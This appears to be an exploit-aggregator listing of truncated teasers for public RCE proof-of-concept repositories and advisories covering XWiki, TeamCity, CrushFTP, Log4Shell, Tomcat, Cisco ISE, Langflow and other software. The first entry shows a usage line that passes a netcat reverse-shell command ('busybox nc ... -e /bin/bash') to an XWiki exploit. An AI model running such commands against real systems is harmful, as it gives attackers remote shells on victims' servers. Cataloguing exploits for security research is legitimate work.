CVE-2025-24893

CVE-2025-24893 Exploit de Execução Remota de Código para XWiki para versões anteriores a 15.10.11, 16.4.1 e 16.5.0RC1. Uso root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use apenas para fins éticos :...

CVE-2024-51567-RCE-EXPLOIT

CVE-2024-51567-RCE-EXPLOIT cbyerpanel rce exploit...

teamcity-exploit-cve-2023-42793

Exploração TeamCity CVE 2023 42793 Um script rápido para explorar a falha cve-2023-42793. Leitura adicional sobre a exploração pode ser encontrada aqui: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 Execução Remota de Código Este repositório contém o exploit de prova de conceito para RCE desenvolvido durante a pesquisa...

RCE-Exploit-Framework

RCE-Exploit-Framework यह फ्रेमवर्क पेनिट्रेशन टेस्टर्स या डेवलपर्स को रिमोट कोड एक्ज़ीक्यूशन RCE एक्सप्लॉइटेशन की कार्यप्रणाली को समझने में सहायता करने के लिए डिज़ाइन किया गया है। विशेषताएँ पेलोड जनरेटर : Python, Bash और PHP पर आधारित कस्टम पेलोड बनाने का समर्थन करता है। एक्सप्लॉइट निष्पादक : HTT...

htattack

htattack.py Uma implementação de exploit para RCE em documentos RTF CVE-2017-0199. Vídeo em espanhol: https://www.youtube.com/watch?v=0lDvclMrymM Uso: root@kitploit: python htattack.py -u...

nGixshell

nGixShell é um scanner de CVEs do nginx e um framework de exploração RCE. Ele inclui uma prova de conceito funcional para CVE-2026-42945 — um estouro de buffer crítico no heap em ngxhttprewritemodule — e um scanner que abrange 53 CVEs do nginx com sondas HTTP automatizadas, fingerprinting,...

L4sh

Exploit RCE do Log4Shell Exploit totalmente independente não requer nenhum binário de terceiros. O exploit espalha o payload por todos os possíveis cabeçalhos HTTP registrados em log, como X-Forwarding , Server-IP , User-Agent Uso root@kitploit: python main.py -i lhost -u http://target:targetport...

h2database-rce-poc

H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...

Exploit for Path Traversal in Vmware Cloud_Foundation

CTT-enhanced-VMware-vCenter Looking at current high-impact vul...

SweetRice-CMS-1.5.1-RCE-Exploit

SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...

EUVD-2020-0163

Malware in sbrugna...

EUVD-2021-16090

Malware in sbrugna...

EUVD-2020-0162

Malware in sbrugna...

CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE

An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...

Exploit for Deserialization of Untrusted Data in Apache Tomcat

CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...

Exploit for Injection in Cisco Identity_Services_Engine

CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...

Exploit for Code Injection in Langflow

mitsec - CVE-2025-3248 Langflow RCE Exploit Remote Code Execu...

Exploit for Improper Protection of Alternate Path in Vbulletin

Description: RCE for Vbullettin versions between 5.0.0 - 5...

Metasploit Weekly Wrap-Up 04/11/2025

Spring Exploits This weekly release of Metasploit Framework includes new RCE exploit modules for several vulnerable applications: Appsmith, a low-code application platform which contains a misconfiguration on PostgreSQL CVE-2024-55964; Pandora FMS, a monitoring solution, where, once gained access...